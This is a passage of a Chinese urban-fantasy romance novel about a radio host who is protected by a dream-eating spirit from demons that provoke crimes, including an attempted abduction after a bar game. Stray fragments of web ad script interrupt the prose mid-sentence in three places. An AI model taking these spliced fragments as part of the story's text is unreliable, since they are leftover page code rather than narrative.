可显然那长者并不打算放弃,他站起来走到“洛瑶”身边劝说她,“傅以山这些年确实厚待我们一家,但我洛明志始终是南夏人,南夏才是我们唯一的家,傅以山他再好,也是北辰的将军,与我们势不两立。” “洛瑶”顿时失了魂魄,浑身都经不住抖颤,她知道洛明志的打算已如离弦之箭,所以她屈膝下跪,恳求道:“父亲,我愿留守海州,报答傅以山的恩情。” “你!”洛明志正色厉声道,情急之下忍不住挥起手臂,重重地落在“洛瑶”的身上,怒其不争,“你可是要当我洛家之不孝女?” 他这几年虽然表面上与傅以山维持着不错的关系,可实际上他早就另有打算,年复一年,韬光养晦。 他只有“洛瑶”一个女儿,自然是不肯她留下的。 “来人!把小姐带下去。” 洛明志话音刚落,屋外便进来好几个人手拿绳索的壮汉,直接把“洛瑶”给绑了起来。 是夜,大雪纷飞。 “洛瑶”被五花大绑着,无奈上了离开的马车,随着家人,前行在逃往的路上。 凛冽的北风吹得车帷呼呼作响,雪花落在“洛瑶”白洁无暇的脸上,马上被滚烫的泪化成了水…… 现实里的洛瑶惊醒过来,从床上一跃而起,下意识地用手抹了把脸,结果摸到了真实的泪水。 晕死,这是什么梦? 甚至比上一次更真实。 如果她没记错,那妖怪就叫傅以山,要是此梦为真,当年是洛家忘恩负义背叛傅以山,那傅以山不会是找她报仇的吧? 洛瑶无比恐慌地捂住自己的脖子,睁大双眼环顾四周。 还好这次并没有突然出现的妖怪。 * 音乐之声栏目的交接,意外地很顺利,闻芳卉显然觊觎洛瑶这档节目很久了,对栏目流程都很熟悉,可另一方面,深夜电台栏目的交接就很难了。 接手之后,洛瑶才了解到,这节目有多难。 原先的深夜电台栏目一直以观众热线为主,可随着观众热线的减少,节目越来越无聊,逐渐就变成了音乐节目。 闻芳卉作为新上任的小组长,绝不会让洛瑶如此轻松,她要求洛瑶要改变节目的形式,先试行讲故事。 “讲故事?”洛瑶不由发出了疑惑的声音。 闻芳卉轻笑了下,“是啊,我和领导商量过了,暂时就先定灵异故事主题,你先搜集素材设计下方案,周一上午我们讨论。” 今天已经是周五,这不就变相在告诉洛瑶她这周末要加班吗? 而且,“灵异故事”这四个字在洛瑶的脑海中瞬间放大,联想到自己那离奇的遭遇,背脊不由发凉。 原本洛瑶是个相信科学派,从来不信灵异事件,也没兴趣了解,没想到现在直接被闻芳卉推入深渊。 “怎么?有什么问题吗?”闻芳卉见洛瑶的脸色越来越白,“好心”地“关爱”起她来。 洛瑶摸了摸鼻子,勉强地笑道:“没……没有问题,灵异故事正好是我擅长的方向。” 屋漏偏逢连夜雨,船迟又遇打头风。 收集了一整天关于灵异故事的素材之后,洛瑶感觉自己的身心都受到了重创,果断决定先和颜子去干饭。 一见面,颜子就开始骂骂咧咧,把炮火集中在闻方卉身上,“你说她怎么这么坏呢?全单位都知道她手段不光彩,她还咄咄逼人。” 可此时洛瑶已经接受了她惨淡的命运,满脑子却是她的新节目,托着腮问道:“颜子,你相信这世上有鬼怪吗?” “当然有啊,我的鬼怪欧巴那么帅!”颜子一下就想到了那部有名的韩剧,犯起了花痴。 洛瑶扶额摇头,“现实中要是遇到不会觉得可怕吗?” 就比如她,现在一想到梦貘就呼吸急促,心跳紊乱。 “怕啥?”颜子给了洛瑶一个鼓励的眼神,“要是遇到,你还可以向他求教,他肯定有很多灵异故事可以讲。” “啊,居然还有这种操作?”洛瑶一下子被打开了新世界的大门。 颜子冲洛瑶眨了眨眼睛,打趣道:“你要是真能遇上,记得先介绍给我。” “……” 颜子这人从洛瑶认识她的时候就是颜狗一枚,她大概永远会认为颜即正义。 * 很快就到了深夜电台栏目之《都市怪谈》第一期首播的日子。 为了准备这一栏目,洛瑶已经连续加班了好几天了,和闻芳卉不知道磨了多少嘴皮,好不容易才定下了目前的试 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 用方案。 洛瑶草草地在单位食堂吃了晚饭,然后匆匆往演播室走。 食堂和演播室处在不同的两栋楼,从食堂走到演播室必然要经过门禁,那里的保安是个四十多岁的中年男子,平时会帮忙收快递和信件。 “洛小姐,今天也有很多你的信。”保安大哥把一叠读者来信递给洛瑶。 “谢谢。”洛瑶接过信,马上就准备往里走。 “等一下。”保安大哥突然叫住了洛瑶,“洛小姐,我看你每天下班都挺迟的。” 洛瑶皱了皱眉,心想是不是出了什么事,因为她平时下班的时候确实见不到几个人,大部分时候只能见到保安大哥。 “这段时间附近工地在施工,来往的人比较杂,前两天我同事值完夜班走出大楼后被抢了手机。”保安大哥善意地提醒洛瑶要小心。 洛瑶表面上感谢了保安大哥,心里却在想一般情况下自己都是走地下室直接开车出去的,应该不会这么倒霉遇上事儿吧。 不过这种事还是不要乱立FLAG为好。 洛瑶加快步伐赶往演播室。 * 晚上12点整,黑色的夜幕如同丝绒绸缎将S市广电大楼包裹住,只有一层楼还有光亮。 那一层楼走廊上的灯亮得如同白昼。 叮—— 走廊尽头的电梯停了。 紧接着,走廊上便响起了一阵急促的脚步声。 这一层楼的演播室里这会儿正灯光昏暗,年轻貌美的女主播洛瑶正在辛勤地工作。 “欢迎大家收听今天的阿瑶讲故事。今天要讲的这个故事是关于古代一位将军的……”洛瑶清脆悦耳的声音从话筒里传出来。 同一时刻,走廊上的灯闪烁了下。 “话说这位将军在一场战役之中救下了一位美丽妖娆的女子,女子为了感谢将军的救命之恩,决定以身相许,将军被其诱惑……”被“关”在演播室里的洛瑶不知道外面发生了什么事,不疾不徐地继续念着手里的稿子。 走廊上的脚步声愈发清晰,天花板上的灯再度闪了两下。 “新婚之后,将军的身体越来越虚弱,直到有一天他被人发现惨死家中……” 脚步声在演播室门口戛然而止。 砰—— 演播室的门被大力撞开,一阵冷风席卷而来。 一个熟悉又陌生的身影毫无征兆地出现在门口。 依旧是一身黑色的穿着,只有背后走廊上的灯穿过他的宽肩窄腰,让面部有了明暗的对比,得天独厚的五官条件总是容易让人过目不忘。 本来沉浸在念故事中的洛瑶被吓了一跳,差点惊呼出声,好在她及时捂住了嘴。 广播电台的直播栏目最怕出现意外状况,洛瑶也算是个老主播了,大大小小的风雨都经历过,此时的她在震惊之余还是用多年的职场经验飞快地对广播里的听众进行了交代:“欢迎大家踊跃留言,下面我将播放一首歌……” 关掉设备,放下耳机,洛瑶直接冲出直播间,对那位不速之客喊道:“你怎么在这?” 紧接着空气的温度骤降,丝丝冷意从四面八方而来,瞬间吞噬掉了室内空调的暖风。 只听见啪嗒一声,所有灯光整齐熄灭,空间并不大的演播室陷入了一片沉寂的黑暗之中。 洛瑶下意识地想出声呼救,却被人捂住了嘴巴,手腕上随即接触到了一个冰冷的物件。 下一秒,傅以山温柔富有磁性的嗓音在她耳边响起:“别怕,如果遇到危险,就把手链摘下。” 5. 危险 这能不怕吗? 傅以山神出鬼没不说,还神神秘秘的,他一出现,整个演播室的气场都变得很不对劲。 “有什么危险?”洛瑶不解的同时不由得全身发冷,手脚不自觉开始哆嗦,分分钟要站不住。 在一片黑暗之中,洛瑶的眼睛完全不能适应,嗅觉和听觉自然而然地被重用。 她能闻到从傅以山身上传出的那股檀香若有似无,但却再也没有听到他的回复,甚至连他的呼吸声都一点没有听见。 此时不知从哪里冒出一阵风,洛瑶的眼睛感觉被什么烫了一下,她下意识地闭眼保护自己,随后马上因为害怕而条件反射地睁眼。 太不可思议了! 洛瑶被眼前的一切给吓到,她赶紧揉搓了好几遍自己的眼睛,确定自己没看错。 演播室灯火通明,像是什么都没有发生似的,连门都关的严严实实,丝毫破绽都没有。 只是当洛瑶一摸手腕,那失了温度的手链告诉她:刚刚确实又让她碰到灵异事件了。 在灯光下,由彩色琉璃小珠串成的手链反射出奇异的光。 而送给她这条手链的傅以山已经不知所踪,站在演播室里的洛瑶怔松了几秒钟,终于如梦初醒。 完了,她的节目! 洛瑶整个人像被雷劈了一样,强打起精神,努力把节目收尾,虽然她也不知道自己在灵魂出窍的情况下是如何完成的。 等到了下班点,她按照平常的顺序,机器人一般整理好,独自走到地下室准备开车回家。 她其实特别害怕,心里抖得像筛子,但表面看起来就是动作比平时慢点,端着个人样儿。 傅以山是在洛瑶开车门的时候突然出现的。 洛瑶现在已经对他啥时候出现都不稀奇了,还好好地向他打了个招呼。 “喂,你会开车吗?”洛瑶把车钥匙递给傅以山,刚一递出去她就后悔了,“对哦,差点忘了,你可以瞬移,根本不用开车。” 就在洛瑶要收回手的刹那,傅以山阻止了她,轻轻握住她的手腕,“你怎么了?” “你能带我瞬移回家吗?”洛瑶此时开口说的每一个字都有气无力,就像一把古琴被人狠狠一摔,七根弦断了六根,只剩下一根孤独地颤动。 傅以山叹了一口气,将空余的那只手翻转过来,掌心朝着洛瑶的双眼,将温暖的气息传递给她。 下一秒,两个人就出现在了洛瑶家里。 洛瑶一看到自家舒适的沙发,想都没多想就一头栽了下去。 傅以山默默地站在一旁,觉得洛瑶的样子有点有趣,她既不像他曾遇到的那些人类怕得要死,又不像魇昧那样不知死活。 她似乎沉浸在她自己的世界里,与他人无关。 过了一会儿,洛瑶翻了个身,伸出了那只戴着手链的胳膊。 琉璃珠闪动着若有似无的光泽,看起来平平无奇,和一般的手链没有差别。 “这个手链有什么作用?”洛瑶转动手腕,眯起眼睛细看。 “摘下手链,我就会出现。”室内暖色的灯光在傅以山脸上打下深浅不一的阴影,衬地他的瞳孔变成了温柔的棕色。 有一股神秘力量支撑着洛瑶从沙发上翻坐起来,她认真发问道:“就没有其他什么厉害的功能吗?比如杀人,杀妖怪之类的?” 傅以山无奈地勾了勾嘴角,表示没有。 洛瑶叹了一口气,把手腕递给傅以山,赌气道:“那你收回去吧,我不需要你突然出现来吓我。” “你会有危险。”傅以山说。 “我会有什么危险?”洛瑶反问。 其实她心里更想说的口的是:最危险的不就是你这个活了几千年的老妖怪吗? 傅以山走到洛瑶边上坐下,左右手交叠,在半空中充满迷惑性地比划了几下,一个巨大的显示屏就出现了。 半透明的显示屏播放了一段画面—— 夜色迷离,万籁俱静,一个年轻女人走出电视台大楼。 洛瑶认得这个女人,是隔壁频道的一个主播。 在大楼门口值班的保安露出一个亲切友善的笑容,冲着对方打招呼:“安主播要下班了?” 年轻女人微笑着点点头,踩着高跟鞋转头离去,夜色如黑色烟雾,如影随形。 马路边年久失修的灯忽而闪亮,忽而熄灭,透着让人惶惶不安的诡异。 镜头切换到安主播的背影,高跟鞋的声音在黑暗里格外地响。 画面突然抖动起来,伴随着一阵急促的呼吸,好像是有人正在匆匆赶来。 “安主播!”一个熟悉的声音打断了高跟鞋有规律的响声。 安主播猛然回头,脸上的神情还来不及从茫然转换成惊悚之际—— 一个黑色的身影突然扑向了她…… 在这种关键的时刻,洛瑶眼前的显示屏居然被傅以山收了回去。 “怎么回事?安主播拍了个微电影?”洛瑶有些惊奇。 傅以山沉重地翻了个眼皮,重新把显示屏放回原位,又多给洛瑶放了个画面。 画面里,一个男人背对着他们,右手缓缓抬起,一把明晃晃的刀上在不断滴血。 此时的安主播已经躺在地上,不知生死。 凶手举着刀转过身,洛瑶终于看清楚他的脸——正是先前那个保安! “所以说,我们大楼的保安和安主播一起拍了个微电影?”洛瑶还是一脸不解。 傅以山的额角突突跳了两下,耐着性子和洛瑶解释:“这不是电影,是魇昧给保安制造的梦。” 魇昧,起源于人类的欲望。 随着人类欲望的膨胀,魇昧也随之成长。 魇昧会给人制造噩梦,引导人们去做坏事。 洛瑶所看到的“微电影”正是魇昧给保安制造的噩梦。 “啊,是噩梦啊,据说梦与现实都是相反的。”洛瑶想起了人们经常提到的一个常识。 “可魇昧造的噩梦并不简单,如果一个人被魇昧操控了大脑,那他会做出什么事情便不得而知了。”傅以山微微抬起下巴,脸上的表情变得耐人寻味。 “魇昧这么厉害啊?”在接手深夜电台之前,洛瑶真的很少了解鬼怪故事,她其实有点不相信会有那么危险的东西存在在她的身边。 作为能把魇昧瞬间秒掉的傅以山轻咳了声,脊背自然地挺直,回答道:“是的,所以你一个人的时候要小心。” 人不可能没有世俗的欲望,一旦欲望过多,就会引发各种各样的问题。 可是洛瑶这人知足常乐,连花呗都没有。 她现在最害怕的就是面前这个妖怪,不知道为什么他会出现。 “放心,我还有男朋友可以帮我。”洛瑶无奈之下又把虚有的“男朋友”给搬出来了。 傅以山颔首,意味深长地暼了洛瑶一眼,“哦,是吗?” “他这两天正好在出差,过两天就会回来了。”洛瑶表面上言笑晏晏,实际上耳根默默热了起来。 夜里的凉风从半开着的窗户吹进了屋子里,把窗帘连带着打了个旋儿。 屋子里安静了两 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 秒。 只见傅以山从沙发上站起来,走了一两步,难得非常有礼貌地询问洛瑶:“按你们人类的习惯,如果客人要走,主人是不是要送他出门?” 洛瑶怔了怔,连忙站起身,巴不得立刻把面前这座“大佛”给送走。 傅以山站在洛瑶家门口,在洛瑶准备关门的时候,他留下了一句话—— 你一个人在家记得要关好门窗。 洛瑶听着觉得纳闷不已,明明这门窗对于傅以山来说形同虚设,根本不会妨碍他的瞬移,他为啥还要特地强调呢? 魇昧这玩意到底是不是真实存在的?万一就只是他为了唬她瞎编的呢? 在傅以山出现前,洛瑶也没觉得自己身边有什么异样。 只是,被傅以山这么提醒,洛瑶还是膈应了。 * 深夜电台第一期节目的收听率新鲜出炉。 闻芳卉打印了很多份报告,在例会上分发给小组成员。 “大部分的收听率都和没有太大变化,今天的例会主要来说说深夜电台好了。”闻芳卉双手交叠在胸前,往后一靠,一副要兴师问罪的模样。 洛瑶翻着收听率统计表,心中悬着的大石头也随之落下。 比她想的要好。 “总体看起来好像还不错,看来讲故事对听众还是有一点吸引力的。”闻芳卉习惯性地先夸了自己,然后话锋一转,把刀递给洛瑶,“但是,为什么切歌时间点那么早,是发生了什么事情吗?” 一想到昨晚发生的事情,洛瑶心里陡然升起一股冷意,可她并不想让闻芳卉看出什么异样。 “因为我当时觉得就此停下比较能勾起听众的兴趣,留下悬念。”洛瑶弯了弯眼睛,拿出了自己早就备好的说辞,暗自咬着牙冲闻芳卉营业假笑。 闻芳卉眼眸中的讥讽一闪而过,开启回应式假笑,“是这样吗?我还担心是不是你害怕了,不敢讲下去呢。” “谢谢闻组长的关心,我没事,以后会更加努力讲故事的。”洛瑶强忍着呕吐说话。 才第一期节目而已,她想怎样? 洛瑶本想看着闻芳卉还能作什么妖,可她之后就转到其他话题去了。 显然也是想找茬但找不到茬。 只是会后她又单独留了洛瑶,和她讲了顿屁话。 * “她这样做,无非就是想给你下马威。” 颜子这天正好在电视台附近有个采访,中午索性便和洛瑶找了家餐厅一起吃中饭。 她听了洛瑶的讲述,忿忿不平。 “唉,小人得志而已。”洛瑶在心里拼命念叨着自己要大度。 “我说你就该找个更厉害的靠山。”颜子对洛瑶寄予厚望。 “别说靠山,我现在想速找一个男朋友都很难。” 听见洛瑶的灵魂感叹,颜子用一种神奇的目光审视了洛瑶半天,“不是吧,你居然还要考虑这种问题?” 洛瑶顶着一张无辜脸,一头雾水。 原本她并不着急这件事,可是为了搪塞傅以山,她觉得自己应该行动起来。 “你今天下班找我玩吧,我带你分分钟找到男朋友。”颜子点了一份大排之后,拍了拍洛瑶的肩膀。 开玩笑,像洛瑶这种典型的南方美女长相,巴掌脸,白皙的肤色,凹凸有致的身材,这找不到对象的原因只有一个——那就是平时太宅,不出门。 她要是肯出来玩,颜子必能让她满载而归。 当然,洛瑶还不知道颜子打的是什么算盘,她打算走一步算一步。 6. 魇昧 到了下班时间,洛瑶乖乖地站在广播大楼门口等着,她注意到保安换了人,不再是先前那张熟悉的脸,而是一个慈眉善目的大叔。 洛瑶不禁想起了傅以山给她看的“微电影”,浑身都不自在起来。 大叔热情地冲着洛瑶笑了笑,洛瑶后背直接整个麻掉,赶紧找了个远离他的地方站着。 好在颜子开着她那辆小巧的宝马迷你很快就来了。 她带洛瑶来到酒吧,有几个和她要好的朋友已经提前帮忙占了位置。 颜子叫来的玩伴一看都很年轻,经过一番介绍后,洛瑶才知道有几个甚至还是大学生。 好家伙,颜子这是想让她老牛吃嫩草吗? 这家酒吧新开不久,主打一个气氛活跃,DJ是个双臂纹身的狠角色,头戴耳机,放着时下最劲爆的音乐,身体随节奏自由舞动。 “嫩草”们提议去舞池蹦迪,可洛瑶觉得吵得很,再加上她本身手脚不协调,刚组织好语言准备拒绝,就听到颜子帮她解了围。 “给我姐妹一点私人空间吧,我和她打赌,赌她今晚就单单坐在这不动,看能吸引几个男的过来搭讪。” 刚刚在来的路上,洛瑶倒是听颜子说过这个赌约,当时她还以为颜子是随口一说的,这会儿听她又在众人面前提起,洛瑶倒是有点不好意思了。 好在颜子的朋友都是大大咧咧的人,不会为难洛瑶,有说有笑着就走了,真就留洛瑶一个人坐着。 他们的卡座离舞池不远,人来人往的,好不热闹。 一向对陌生人十分社恐的洛瑶低头吸了口果汁。 “嗨,小姐姐,你是一个人来这的吗?”在嘈杂的音乐声中,洛瑶耳边响起了一个清亮的男声。 她抬起头定睛一看,对方是个长得一副人畜无害模样的男生,黑色的短发打理的很是清爽干净,身上穿着平易近人的格子衬衫,是时下男大学生常见的打扮。 “我和朋友一起来的。”洛瑶指了指舞池里的颜子,低头咬着吸管,假装在喝果汁。 “好巧,我也是和我朋友一起来的,我们那边在玩游戏,想多找点人一起玩,姐姐你愿意来吗?”小男生很有分寸地站在洛瑶身侧,弯腰询问道。 洛瑶看这男生脸上还有未褪去的稚嫩,便好奇他的朋友是不是和他一样都是大学生。 男生指了指他朋友在的地方。 因为灯光比较暗,洛瑶也看不清楚,出于一种初来乍到的戒心,决定还是等颜子回来再说。 没想到小男生十分积极地去找了颜子,经过颜子的首肯,很快,两桌人并到了一起。 洛瑶终于看清了小男生的几个朋友,他们外表看起来比小男生年纪要大一些,其中有个大哥还毫不吝啬地对外展示着他的大花臂。 洛瑶见状,心里打起了退堂鼓,私下扯了扯颜子的衣角,想让她寻个借口撤退。 可颜子却压低了声音和她说:“来都来了,怕什么,就玩一局。” 他们要玩的游戏很简单,就是轮流掷骰子,一轮中点数最大的那个人可以让点数最小的人做一件事,要是不愿意做就喝酒。 不知道是今天点儿背还是那群人提供的骰子里做了什么手脚,一直都是洛瑶这边的人输。 在一堆人中间,最不习惯认输,且对自己掷骰子技术十分自信的颜子逐渐喝得不省人事。 本来以为是全场酒量最差的洛瑶反而成了最清醒的人。 洛瑶虽然平时不喝酒,可她全家人都是千杯不醉的好酒量。 见状况不对,洛瑶急忙拽着颜子要回家。 先前那个来找洛瑶搭话的小男生追了出来,拦住了准备去路边打车的洛瑶。 “小姐姐,要不我叫代驾送你们吧。”夜色中,小男生抓了抓自己后脑勺的头发,脸显得有点红,神色中透露出些许不安。 洛瑶努力将颜子扶好,拒绝了他的好意,“不用麻烦了,我们自己可以的。” 小男生欲言又止,咬了咬唇,还是不死心:“这大晚上的,你们两个女孩子太危险了。” 时间说迟不迟,正好是夜场蹦迪最热闹的时候,没什么人选择这个时间点就打道回府的,相对而言街边接送的车也比较少。 洛瑶着急想上辆车,可手机上的打车软件迟迟没有人接单,而且站在路边,一辆点亮空车牌子的出租车也没看到。 小男生借机又开始劝洛瑶跟他走。 就在两人僵持不下之际,一辆黑色的奥迪停在了洛瑶边上,副驾驶室的车窗被摇了下来,坐在驾驶室的人是那个大花臂。 “嘿美女,上车呗,我顺路载你们。”大花臂穿着一件黑色背心,让人很难不注意到他强壮的弘二头肌。 洛瑶在小男生和大花臂之间巡视了一番,隐隐觉得有些不对劲。 在游戏进行的时候,大花臂运气特别好,一直摇到大的点数,偶尔有几次被人指派做点事,他也欣然接受,仔细一想,这一晚上,全场只有他滴酒不沾。 小男生见洛瑶有些发愣,急忙打开了奥迪车的后座,作势要帮忙把颜子扶进去。 这种行为,洛瑶自然是不肯接受的,紧紧地抱住颜子的胳膊,不让她被拽走。 “真的不用麻烦你们了,我朋友很快就会来接我们的。”那小男生看起来像个弱鸡,但毕竟是个男的,洛瑶没有胜算,只好先唬一唬人。 “小姐姐,你可不能骗人啊,刚刚你还说要打车,这么这会儿又说有朋友来接了?”小弱鸡突然冷了脸,嘲讽了洛瑶一句。 洛瑶心中暗叫不好,现在已经这么迟了,路人根本没几个人,她面对两个力量悬殊的男人,这要怎么脱身。 “你们好吵啊!”此时一直安静的颜子突然大叫一声,竟然抬起一只脚,踹向了那个弱鸡。 弱鸡一时不防,摔倒在了车后座上。 洛瑶见势,赶紧拉了颜子一把,准备拔腿就跑。 “他妈的!追!”不甘心的大花臂打开车门,追了上来。 洛瑶拖着颜子,根本跑不了几步,很快就被大花臂和弱鸡追上了。 洛瑶真的没想到平时根本不会来夜店的自己一出山就碰到这么倒霉的事。 绝望如同泰山压顶。 眼瞅着大花臂就要抓住洛瑶的手,弱鸡就要勾住颜子的腿—— 时间如同静止住了一般。 洛瑶耳边突然什么声音都听不见了,只能感受到自己因为恐惧而剧烈加速的心跳。 “抓紧我。”一个身影挡在了洛瑶的面前,伸出手搭在了她的肩上。 洛瑶一下就辨认出了这个声音! 是傅以山! 救命稻草从天而降,洛瑶喜极而泣,直接像个袋鼠一样跳到了他身上,双手紧紧箍着他的肩膀。 从傅以山身上传来的檀香很好地安抚了洛瑶的情绪 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 下一秒,傅以山温柔富有磁性的嗓音再度响起:“你可以下来了。” 洛瑶睁开眼,发现自己已经处在自家的客厅了,而她还死命扒着傅以山显然很不合适,她的脸迅速涨红,赶紧从救命恩人身上跳下来,把自己的衣服拉直,原本已经平稳的心跳又开始剧烈跳动。 而在同一时间,一些不太自然的情绪从傅以山的眼底闪过。 “颜子呢?”洛瑶拍了拍脑门,让自己清醒一点。 傅以山指了指她的脚边。 颜子已经彻底昏睡过去了,丝毫都没有劫后余生的变化。 洛瑶赶紧走过去将她从地上扶起来。 “话说你是怎么把我们两个人都带回来的?感觉好神奇。”洛瑶把颜子安顿好之后发现傅以山还没走,便走过去想感谢他。 傅以山叹了一口气。 他虽然有法力,但刚刚同时带两个人确实有点累,况且他完全没想到洛瑶会跳到他身上。 鲜少和人类如此亲密接触的他好几次都快不小心让洛瑶掉下去了。 傅以山默不作声地走到洛瑶身边,拉过洛瑶的手腕,指了指上面那条显眼的手链。 “我之前说过,如果你遇到危险,就把手链摘下。”傅以山眼眸低垂,郑重其事地对洛瑶说。 完了,他看起来好像生气了。 洛瑶心中忐忑不已,像个犯错的小孩,小声地争辩:“我以为你只管魇昧的事儿,没想到你还管流氓。” 室内暖色的灯光在傅以山脸上打下深浅不一的阴影,衬出他的瞳孔变成了棕色,温柔中透着清冷。 “他们也是被魇昧影响了。”傅以山不辨喜怒地放下了洛瑶的手腕,把手松开。 可能是因为单身久了,洛瑶很少接受陌生男人无故的好意,随着网上一些社会事件的频发,更让洛瑶对男人这个物种很失望,简单来说,就是她恐男。 但傅以山是梦貘,也许面前这位外表像男性人类的梦貘是只好妖怪? 这一刻,洛瑶突然就萌生出了这种奇怪的想法。 “谢谢你及时出现救了我和我的朋友。”洛瑶看了眼还在梦呓的颜子,庆幸关键时刻有傅以山出手帮她。 “抱歉。”傅以山过意不去地摸了摸下巴,“其实我一直跟着你。” 大无语事件,洛瑶刚刚燃起的感恩小火苗一下就灭了。 “为什么啊?”洛瑶脱口而出。 他跟了她一路,她居然毫无察觉,现在想想真是让人毛骨悚然。 “我需要确认一些事情。”傅以山明明是在愧疚的情绪里,却莫名带着些许理直气壮。 他不会是为了确认我有没有男朋友吧? 洛瑶觉得自己的脖子凉凉的。 “那你现在确认好了吗?”洛瑶试探性地问道。 “我觉得你需要我的保护。”只听得傅以山缓缓开口,极具蛊惑性。 这算是答非所问吧,洛瑶的脸微微一烫,懵道:“你是确认我需要你的保护?难道是我身边有很多魇昧?” 对于洛瑶这脑回路,傅以山不得不服,他想这可能就是物种之间存在的天然沟壑吧。 他一向拥有着良好的绅士风度,便颇为耐心地解释道:“我觉得你需要保护是因为只有你安全了,我才能更好地找回自己的记忆。” 原来是这样,洛瑶撇了撇嘴,看来自己是有点会错意了。 7. 排骨 惊心动魄的上半夜带来的后果就是让疲惫不堪的人在后半夜里彻底睡成死猪,一夜无梦。 冬日的天亮得迟,还刚蒙蒙亮的时候,一阵不和谐的歌声就乱入了:“好运来,祝你好运来,好运带来了喜和爱,好运来,我们好运来……” 洛瑶猛然睁开眼,左右一巡视,才发现是颜子的手机正在唱个不停,而颜子却还躺在她身侧呼呼大睡,丝毫没受到。 洛瑶记起颜子今天是早班,赶紧踹了她一脚,让她快点醒过来。 毕竟是混了多年酒场的人,颜子的酒量并不算差,可昨天真是喝惨了,今早醒来直接断片了。 “昨晚是谁送我们的啊?”颜子一边对镜画眉,一边好奇地问洛瑶。 “一个朋友。”洛瑶不清楚颜子能记得多少,但愿她别记得傅以山用超能力那段,简直魔幻到无法解释。 “挺高,挺帅的是吗?”颜子转过脸,眉毛还只画了一半,花痴却相显露无疑。 “还行吧。”洛瑶很想说再好看也是人妖殊途。 颜子嘿嘿笑了两声,重新开始画另外半边眉毛,“如果你们成了,一定要第一个告诉我。” 这……哪儿跟哪儿呢? 洛瑶想要好好解释一番,已经画好眉毛的颜子已经匆匆背起包离开了。 无法理解颜子脑回路的洛瑶无奈地叹了一口气。 现在回想起来昨晚发生的事情可真是糟糕,要不是傅以山即使出现,她和颜子都可能见不到今天早晨的太阳了。 洛瑶看向自己的手臂——傅以山给她戴上的手链与她的手腕十分适配,就像量身定做的一样。 他说有危险的时候摘掉手链他就会出现,真有那么神奇吗? 正巧白天不用上班,洛瑶一个人在家很是无聊,把手链翻来覆去看了N遍。 手链上的每一颗琉璃珠子颜色都不一样,但都因为在同一色系,所以整体看起来是偏暖色的,莫名给人一种安全感。 洛瑶站在客厅里,终于还是忍不住做了心中想象了无数遍的尝试——摘掉手链。 眼睛一闭一睁,不过一瞬,傅以山真的凭空就出现了。 呃……就是这时机好像不太对。 傅以山身上穿着一套深蓝色的丝质睡衣,腰上系着围裙,一手拿着铲子,一手拿着瓶调料,毫无任何准备地站在了洛瑶家的客厅里。 “你……这是在准备吃午饭吗?”天知道洛瑶此时有多想找个洞把自己埋了。 本来人家是说有危险随时召唤他,可她却平白无故地把人召过来,这真是太尴尬了。 已经明白过来是怎么回事的傅以山,迈开步子,快步走到洛瑶身边,腾出一只手搭在她手臂上。 “得快点,排骨要糊了。” 下一秒,空间变换,两人来到了傅以山家的厨房。 一股子糖醋排骨的香气正从冒着油烟的锅里传出,傅以山连忙着手继续翻炒。 这还是洛瑶第一次来到陌生男人的家里。 不,是陌生妖怪。 没想到这妖怪还挺有钱,光是看这厨房的装修,就感觉很不一般。 “能帮我拿下糖吗?”傅以山的声音冷不丁响起。 洛瑶赶紧帮他递了过去。 “这里油烟大,你去外边等一下。”此时的傅以山看起来就像个普通到不能再普通的家庭煮男。 除了长得帅点。 洛瑶是个厨房白痴,深知自己待在厨房只会帮倒忙,索性就走到外边的餐桌坐下了。 餐桌上已经摆了好几道菜,都是些江浙地区的常见菜式,比如番茄炒蛋、清蒸鲈鱼和上汤娃娃菜,看起来就差里面的排骨了。 洛瑶平时一个人生活,中午吃饭都是随便吃个外卖或者下个面,绝不会像傅以山这么讲究,不嫌麻烦地做出四个菜。 没一会儿,傅以山就从厨房里出来了,他把装着排骨的盘子放在桌上,解下身上的围裙,非常自然地问道:“你要顺便吃点吗?” 洛瑶其实挺好奇妖怪做的菜好不好吃的,于是从善如流地接过傅以山给的碗筷,不客气地先给自己加了块排骨。 “你们梦貘也和人一样需要吃饭吗?”洛瑶问。 “那你觉得我应该吃什么?”傅以山反问她。 这一问可把洛瑶的筷子吓抖了。 她刚怎么没想到,万一这妖怪烧的不是排骨,而是什么其他可怕的食材呢? “别担心,虽然我们不用像人类一样有规律的进食,但是我挺喜欢制作人类食物的,而且练习了很长时间。”傅以山保持着沉着的面容,帮洛瑶把筷子重新放回她手上。 洛瑶有些恼,觉得傅以山是故意吓她的,但人在屋檐下不得不低头。 重新拿到筷子的洛瑶夹起排骨,迫不及待地咬了一口。 该如何形容这个感觉呢?明明这个排骨烧的软烂程度恰到好处,闻起来也很香,但这个调料配比出来的味道属实是无法恭维。 洛瑶默默地放下手里的筷子,心想可能妖怪和人类在味觉上有区别吧。 “是不好吃吗?”细心的傅以山似乎是在一瞬间就捕捉到了端倪。 “味道不错,只不过……”洛瑶斟酌着用词,最后索性准备换个话题,“我突然想到一个问题。” 傅以山停下动作,看向她。 “那个……你有手机吗?”洛瑶问道。 “你需要手机做什么?”傅以山似乎很不能理解。 洛瑶感到一拳打到了棉花上,她怕傅以山误会她是别有居心,赶紧解释:“我只是突然想到,你可以给我你的手机号,我哪天要是又梦到和你有关的内容,可以打电话和你说。” 这样的话,他就没理由一直跟着她了。 被妖怪时时刻刻跟着,想想都觉得是一件怪瘆人的事情。 既然他铁了心要纠缠她,那她也必须做点什么准备,绝不能随他任意摆布。 “我没有手机。” 傅以山一说完,空气都变得凉飕飕。 “怎么可能?”洛瑶听笑了,“这年头没有手机怎么生活?你都不用联系家人朋友的?” “我没有家人,自上古时期以来,只有我一只梦貘。” 傅以山这话听起来平平淡淡的,却在无形之中透着几分哀伤。 几千年以来,他都一直孤身一人吗? 这得多无趣啊。 “没有手机总归是不方便,你总不可能一整天都跟着我吧?”洛瑶说完就知道自己这句话白问。 傅以山一脸淡定地坐在她对面,用眼神就能说明他已经干过这种事了。 “咳咳,是我感到不方便,要是我和我男朋友约会,你也跟着,会很奇怪。”洛瑶为了说服傅以山,绞尽脑汁才想了个理由出来。 